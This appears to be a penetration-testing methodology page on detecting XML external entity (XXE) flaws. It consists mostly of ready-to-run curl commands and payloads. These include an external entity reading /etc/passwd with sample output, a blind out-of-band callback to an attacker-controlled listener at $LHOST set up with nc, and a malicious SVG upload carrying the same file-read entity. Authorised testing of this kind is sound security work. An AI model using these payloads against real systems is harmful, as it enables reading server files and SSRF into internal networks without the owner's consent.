Skip to content
HackIndex logo

HackIndex

XXE DTD Processing Checks

3 min read Mar 28, 2026

XXE testing confirms whether an XML parser processes external DOCTYPE declarations and expands entities. If DTD processing is active, it enables file read from the server filesystem, SSRF to internal services, and in some cases blind out-of-band data exfiltration. Confirmed XXE moves to XXE exploitation.

Look for XML input surfaces during content discovery: SOAP endpoints, REST APIs accepting application/xml, file upload endpoints processing XML-based formats like SVG, DOCX, or XLSX, and any request where Content-Type: application/xml is accepted.

Identify XML Endpoints

Check whether the endpoint accepts XML by switching the Content-Type and watching the response behavior:

┌──(kali㉿kali)-[~]
└─$ curl -sk -X POST http://$TARGET_IP:$PORT/api/endpoint -H 'Content-Type: application/xml' -d '<test>data</test>' -i
HTTP/1.1 200 OK
Content-Type: application/xml

A 200 or 500 with XML-specific error output confirms the endpoint parses XML. A 400 with a generic body error usually means the endpoint expects a different format.

Internal Entity Expansion Test

Test whether the parser expands internal entities. This is safe and has no external network dependency — good for a first probe:

┌──(kali㉿kali)-[~]
└─$ curl -sk -X POST http://$TARGET_IP:$PORT/api/endpoint -H 'Content-Type: application/xml' -d '<?xml version="1.0"?><!DOCTYPE r [<!ENTITY xxe "XXETEST123">]><r>&xxe;</r>'
<response>XXETEST123</response>

If the response contains XXETEST123, internal entity expansion is confirmed. This means the parser is processing the DOCTYPE and the full XXE attack path is open. Move immediately to XXE exploitation for file read.

If the response contains the literal string &xxe; unexpanded, entity processing is disabled. If you get an explicit error like DOCTYPE is disallowed, classic XXE is blocked at the parser level.

External File Read Test

If internal entities expand, test for external entity processing and file read directly:

┌──(kali㉿kali)-[~]
└─$ curl -sk -X POST http://$TARGET_IP:$PORT/api/endpoint -H 'Content-Type: application/xml' -d '<?xml version="1.0"?><!DOCTYPE r [<!ENTITY xxe SYSTEM "file:///etc/passwd">]><r>&xxe;</r>'
<response>root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:...</response>

File content in the response confirms in-band XXE file read. This is a critical finding — the parser processes external file:// URIs and returns their content in the response.

Blind XXE with Out-of-Band Callback

When the parser processes external entities but the response doesn't reflect the content, use an out-of-band callback to confirm. Set up a listener first:

┌──(kali㉿kali)-[~]
└─$ nc -lvnp $LPORT
┌──(kali㉿kali)-[~]
└─$ curl -sk -X POST http://$TARGET_IP:$PORT/api/endpoint -H 'Content-Type: application/xml' -d '<?xml version="1.0"?><!DOCTYPE r [<!ENTITY xxe SYSTEM "http://$LHOST:$LPORT/xxe-callback">]><r>&xxe;</r>'

An incoming HTTP request on your listener confirms blind XXE — the server made an outbound connection based on the injected URL. This also confirms SSRF through the XXE path, enabling SSRF exploitation against internal services.

SVG and File Upload XXE

File upload endpoints processing SVG, DOCX, XLSX, or other XML-based formats are common blind XXE vectors. Test SVG uploads:

<?xml version="1.0" standalone="yes"?>
<!DOCTYPE r [
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<svg xmlns="http://www.w3.org/2000/svg">
  <text>&xxe;</text>
</svg>
┌──(kali㉿kali)-[~]
└─$ curl -sk -X POST http://$TARGET_IP:$PORT/upload -F '[email protected];type=image/svg+xml' | grep -i 'root\|passwd'

References